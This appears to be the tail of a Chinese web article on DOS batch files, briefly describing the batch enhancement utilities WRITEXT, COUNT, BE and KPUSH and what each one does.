其中,我用到了WRITEXT,COUNT,BE和KPUSH,這些都是批處理工具。WRITEXT是ECHO的增強工具,可以自定義顯示的效果。 COUNT是變數的計算工具,如原來C的值為1,執行COUNT C後C的值就為2。BE是個強大的批處理增強工具,在Norton Utilties 8.0中帶有。KPUSH是鍵盤緩沖工具。
總之,利用批處理命令和批處理增強工具,我們可以編出許多強大的批處理文件來。

閱讀全文

與批處理dos命令相關的資料

熱點內容
dvd光碟存儲漢子演算法 瀏覽:755
蘋果郵件無法連接伺服器地址 瀏覽:958
phpffmpeg轉碼 瀏覽:669
長沙好玩的解壓項目 瀏覽:140
專屬學情分析報告是什麼app 瀏覽:562
php工程部署 瀏覽:831
android全屏透明 瀏覽:730
阿里雲伺服器已開通怎麼辦 瀏覽:801
光遇為什麼登錄時伺服器已滿 瀏覽:300
PDF分析 瀏覽:483
h3c光纖全工半全工設置命令 瀏覽:140
公司法pdf下載 瀏覽:381
linuxmarkdown 瀏覽:350
華為手機怎麼多選文件夾 瀏覽:681
如何取消命令方塊指令 瀏覽:347
風翼app為什麼進不去了 瀏覽:777
im4java壓縮圖片 瀏覽:360
數據查詢網站源碼 瀏覽:148
伊克塞爾文檔怎麼進行加密 瀏覽:888
app轉賬是什麼 瀏覽:162